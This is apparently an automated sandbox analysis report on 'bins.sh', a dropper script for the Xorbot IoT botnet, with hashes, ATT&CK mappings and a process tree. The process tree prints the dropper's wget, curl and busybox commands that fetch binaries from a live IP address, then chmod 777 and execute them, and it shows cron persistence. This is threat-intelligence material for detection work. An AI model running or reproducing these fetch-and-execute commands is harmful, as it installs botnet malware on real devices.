xorbot | a527f457c05c52627d9ac88b3fb6f7dd65b7de796e8c1bab1d761c3dd2a83dc6

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03-12-2024 02:11

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General

Target

bins.sh
Size

10KB
MD5

1da16902d7c5601131994e6c7188579b
SHA1

66658b1510c47b2293d64f6f29ffadfaac1ba126
SHA256

a527f457c05c52627d9ac88b3fb6f7dd65b7de796e8c1bab1d761c3dd2a83dc6
SHA512

c9959bb121b46e0ff62f2750ea6927810ae204a778e28ba2db6f9a2dee9b38296642c45af45fcb9f8f25c84402e45e50009c3c119db97b18d06ea84dda785fb4
SSDEEP

192:k2c41phAQq2Si/XdccYcXTOU1phAQkLG2Si/XU/YO:k2c41phAQq2Si/XdccYcXTOU1phAQkLC

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 8 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-8.dat	family_xorbot
behavioral2/files/fstream-9.dat	family_xorbot
behavioral2/files/fstream-10.dat	family_xorbot
behavioral2/files/fstream-11.dat	family_xorbot
behavioral2/files/fstream-12.dat	family_xorbot
behavioral2/files/fstream-13.dat	family_xorbot
behavioral2/files/fstream-14.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2048) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
911	chmod
935	chmod
798	chmod
813	chmod
833	chmod
870	chmod
894	chmod
685	chmod
787	chmod
849	chmod
929	chmod

Executes dropped EXE 11 IoCs

Processes:

OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1vOY9PxORiT1XYizjwa6iPHyapwMlonbXIAtrJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtMu84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPiOgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1ZiU9EW3vUa4VxJkNBH58KfpWA2sEFQs3oPvnR31iLFYHHgQwBTu2Xsaz7AWar6Umn1W82Z8GJyUcAb2OtLIxBWV3vyemh0MScmN5SjkPF3ZdczMFmEamiyEKXWifOjAatGTkRUc7f

ioc	pid	Process
/tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5	686	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
/tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1	788	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
/tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA	799	vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
/tmp/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM	814	trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
/tmp/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi	838	u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
/tmp/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9	851	OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
/tmp/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z	871	K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
/tmp/iU9EW3vUa4VxJkNBH58KfpWA2sEFQs3oPv	896	iU9EW3vUa4VxJkNBH58KfpWA2sEFQs3oPv
/tmp/nR31iLFYHHgQwBTu2Xsaz7AWar6Umn1W82	912	nR31iLFYHHgQwBTu2Xsaz7AWar6Umn1W82
/tmp/Z8GJyUcAb2OtLIxBWV3vyemh0MScmN5Sjk	930	Z8GJyUcAb2OtLIxBWV3vyemh0MScmN5Sjk
/tmp/PF3ZdczMFmEamiyEKXWifOjAatGTkRUc7f	936	PF3ZdczMFmEamiyEKXWifOjAatGTkRUc7f

Renames itself 1 IoCs

Processes:

OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5

pid	Process
687	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.rU6Wik	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5crontabcurl

description	ioc	Process
File opened for reading	/proc/804/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/812/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/943/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/954/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1020/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1061/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1079/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/761/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1085/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/850/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/896/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1002/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1077/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1095/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1101/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/711/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/643/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/728/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/860/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/910/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/914/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/921/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1008/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/26/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/774/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/846/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/859/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/876/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/892/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/929/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/25/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/940/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/265/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/605/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/738/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/740/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/834/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/854/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1041/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1045/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1049/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1043/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/750/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/751/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/861/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/869/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1026/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1059/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1075/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/13/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1092/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/41/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/302/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/741/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/752/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/759/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/763/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/765/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/28/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/885/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/984/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
File opened for reading	/proc/1006/cmdline	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

rmwgetcurlbusyboxvOY9PxORiT1XYizjwa6iPHyapwMlonbXIA

pid	Process
800	rm
791	wget
792	curl
794	busybox
799	vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxbusyboxbusyboxbusyboxbusyboxbusyboxbusyboxwgetcurlbusyboxbusyboxbusyboxbusybox

description	ioc	Process
File opened for modification	/tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1	busybox
File opened for modification	/tmp/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9	busybox
File opened for modification	/tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA	busybox
File opened for modification	/tmp/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM	busybox
File opened for modification	/tmp/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi	busybox
File opened for modification	/tmp/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z	busybox
File opened for modification	/tmp/iU9EW3vUa4VxJkNBH58KfpWA2sEFQs3oPv	busybox
File opened for modification	/tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5	wget
File opened for modification	/tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5	curl
File opened for modification	/tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5	busybox
File opened for modification	/tmp/nR31iLFYHHgQwBTu2Xsaz7AWar6Umn1W82	busybox
File opened for modification	/tmp/Z8GJyUcAb2OtLIxBWV3vyemh0MScmN5Sjk	busybox
File opened for modification	/tmp/PF3ZdczMFmEamiyEKXWifOjAatGTkRUc7f	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:650
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:654
- /usr/bin/wget
  wget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  2⤵
  - Writes file to tmp directory
  PID:658
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  2⤵
  - Writes file to tmp directory
  PID:683
- /bin/chmod
  chmod 777 OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  ./OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:686
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:688
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:689
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:690
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:691
- /bin/rm
  rm OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  2⤵
  PID:693
- /usr/bin/wget
  wget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  2⤵
  PID:696
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  2⤵
  PID:697
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  2⤵
  - Writes file to tmp directory
  PID:778
- /bin/chmod
  chmod 777 p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  ./p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  2⤵
  - Executes dropped EXE
  PID:788
- /bin/rm
  rm p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  2⤵
  PID:790
- /usr/bin/wget
  wget http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
  2⤵
  - System Network Configuration Discovery
  PID:791
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
  2⤵
  - System Network Configuration Discovery
  PID:792
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:794
- /bin/chmod
  chmod 777 vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
  ./vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:799
- /bin/rm
  rm vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
  2⤵
  - System Network Configuration Discovery
  PID:800
- /usr/bin/wget
  wget http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
  2⤵
  PID:803
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
  2⤵
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod 777 trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
  ./trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
  2⤵
  - Executes dropped EXE
  PID:814
- /bin/rm
  rm trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
  2⤵
  PID:818
- /usr/bin/wget
  wget http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
  2⤵
  PID:822
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
  2⤵
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
  ./u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
  2⤵
  PID:839
- /usr/bin/wget
  wget http://216.126.231.240/bins/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
  2⤵
  PID:844
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
  2⤵
  - Writes file to tmp directory
  PID:846
- /bin/chmod
  chmod 777 OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
  ./OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
  2⤵
  PID:853
- /usr/bin/wget
  wget http://216.126.231.240/bins/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
  2⤵
  PID:857
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
  2⤵
  - Writes file to tmp directory
  PID:858
- /bin/chmod
  chmod 777 K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
  ./K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
  2⤵
  PID:874
- /usr/bin/wget
  wget http://216.126.231.240/bins/iU9EW3vUa4VxJkNBH58KfpWA2sEFQs3oPv
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iU9EW3vUa4VxJkNBH58KfpWA2sEFQs3oPv
  2⤵
  PID:876
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iU9EW3vUa4VxJkNBH58KfpWA2sEFQs3oPv
  2⤵
  - Writes file to tmp directory
  PID:878
- /bin/chmod
  chmod 777 iU9EW3vUa4VxJkNBH58KfpWA2sEFQs3oPv
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/iU9EW3vUa4VxJkNBH58KfpWA2sEFQs3oPv
  ./iU9EW3vUa4VxJkNBH58KfpWA2sEFQs3oPv
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm iU9EW3vUa4VxJkNBH58KfpWA2sEFQs3oPv
  2⤵
  PID:899
- /usr/bin/wget
  wget http://216.126.231.240/bins/nR31iLFYHHgQwBTu2Xsaz7AWar6Umn1W82
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nR31iLFYHHgQwBTu2Xsaz7AWar6Umn1W82
  2⤵
  PID:901
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nR31iLFYHHgQwBTu2Xsaz7AWar6Umn1W82
  2⤵
  - Writes file to tmp directory
  PID:903
- /bin/chmod
  chmod 777 nR31iLFYHHgQwBTu2Xsaz7AWar6Umn1W82
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/nR31iLFYHHgQwBTu2Xsaz7AWar6Umn1W82
  ./nR31iLFYHHgQwBTu2Xsaz7AWar6Umn1W82
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm nR31iLFYHHgQwBTu2Xsaz7AWar6Umn1W82
  2⤵
  PID:913
- /usr/bin/wget
  wget http://216.126.231.240/bins/Z8GJyUcAb2OtLIxBWV3vyemh0MScmN5Sjk
  2⤵
  PID:914
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Z8GJyUcAb2OtLIxBWV3vyemh0MScmN5Sjk
  2⤵
  PID:915
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Z8GJyUcAb2OtLIxBWV3vyemh0MScmN5Sjk
  2⤵
  - Writes file to tmp directory
  PID:921
- /bin/chmod
  chmod 777 Z8GJyUcAb2OtLIxBWV3vyemh0MScmN5Sjk
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/Z8GJyUcAb2OtLIxBWV3vyemh0MScmN5Sjk
  ./Z8GJyUcAb2OtLIxBWV3vyemh0MScmN5Sjk
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm Z8GJyUcAb2OtLIxBWV3vyemh0MScmN5Sjk
  2⤵
  PID:931
- /usr/bin/wget
  wget http://216.126.231.240/bins/PF3ZdczMFmEamiyEKXWifOjAatGTkRUc7f
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/PF3ZdczMFmEamiyEKXWifOjAatGTkRUc7f
  2⤵
  PID:933
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/PF3ZdczMFmEamiyEKXWifOjAatGTkRUc7f
  2⤵
  - Writes file to tmp directory
  PID:934
- /bin/chmod
  chmod 777 PF3ZdczMFmEamiyEKXWifOjAatGTkRUc7f
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/PF3ZdczMFmEamiyEKXWifOjAatGTkRUc7f
  ./PF3ZdczMFmEamiyEKXWifOjAatGTkRUc7f
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm PF3ZdczMFmEamiyEKXWifOjAatGTkRUc7f
  2⤵
  PID:937
- /usr/bin/wget
  wget http://216.126.231.240/bins/NBsKeTSrFBZW2801U0CxP4zb33OAXeLfeW
  2⤵
  PID:938
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NBsKeTSrFBZW2801U0CxP4zb33OAXeLfeW
  2⤵
  PID:940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/PF3ZdczMFmEamiyEKXWifOjAatGTkRUc7f

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/Z8GJyUcAb2OtLIxBWV3vyemh0MScmN5Sjk

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/iU9EW3vUa4VxJkNBH58KfpWA2sEFQs3oPv

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/nR31iLFYHHgQwBTu2Xsaz7AWar6Umn1W82

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
